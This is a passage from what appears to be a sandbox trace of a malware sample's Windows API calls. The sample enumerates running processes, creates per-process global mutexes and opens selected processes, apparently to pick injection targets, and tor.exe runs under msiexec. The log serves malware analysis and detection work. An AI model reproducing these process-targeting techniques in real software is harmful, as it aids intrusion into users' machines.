cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0124.058] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0124.059] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0124.060] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0124.061] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.062] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0124.063] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.064] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0124.064] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0124.065] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.066] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0124.067] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0124.068] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.069] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0124.069] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0124.070] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x56c [0124.070] GetLastError () returned 0xb7 [0124.070] CloseHandle (hObject=0x56c) returned 1 [0124.070] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0124.071] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0124.071] CloseHandle (hObject=0x6cc) returned 1 [0124.071] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0124.168] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x6cc [0124.170] Process32FirstW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0124.171] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0124.172] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0124.173] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.174] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0124.174] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0124.175] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0124.176] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0124.177] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0124.178] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0124.179] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.179] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.180] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.181] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.182] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.183] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0124.183] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.184] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.185] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0124.186] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.187] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.187] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0124.187] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x56c [0124.188] GetLastError () returned 0xb7 [0124.188] CloseHandle (hObject=0x56c) returned 1 [0124.188] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0124.188] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0124.188] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x56c [0124.188] GetLastError () returned 0xb7 [0124.188] CloseHandle (hObject=0x56c) returned 1 [0124.188] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0124.189] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.190] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0124.190] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x56c [0124.190] GetLastError () returned 0x0 [0124.190] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0124.190] CloseHandle (hObject=0x56c) returned 1 [0124.190] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.191] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0124.191] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x56c [0124.191] GetLastError () returned 0x0 [0124.191] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0124.191] CloseHandle (hObject=0x56c) returned 1 [0124.191] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0124.192] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0124.192] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x56c [0124.192] GetLastError () returned 0xb7 [0124.192] CloseHandle (hObject=0x56c) returned 1 [0124.192] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0124.194] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0124.194] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x56c [0124.194] GetLastError () returned 0x0 [0124.194] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0124.194] CloseHandle (hObject=0x56c) returned 1 [0124.194] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0124.195] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0124.196] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0124.196] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0124.197] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0124.198] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0124.199] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0124.200] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0124.201] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0124.202] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0124.203] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0124.203] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0124.204] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0124.205] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0124.206] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0124.207] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0124.208] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0124.208] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0124.209] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0124.210] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0124.211] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0124.212] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.212] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0124.213] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0124.214] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0124.262] Process32NextW (in: hSnapshot=0x6cc, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, 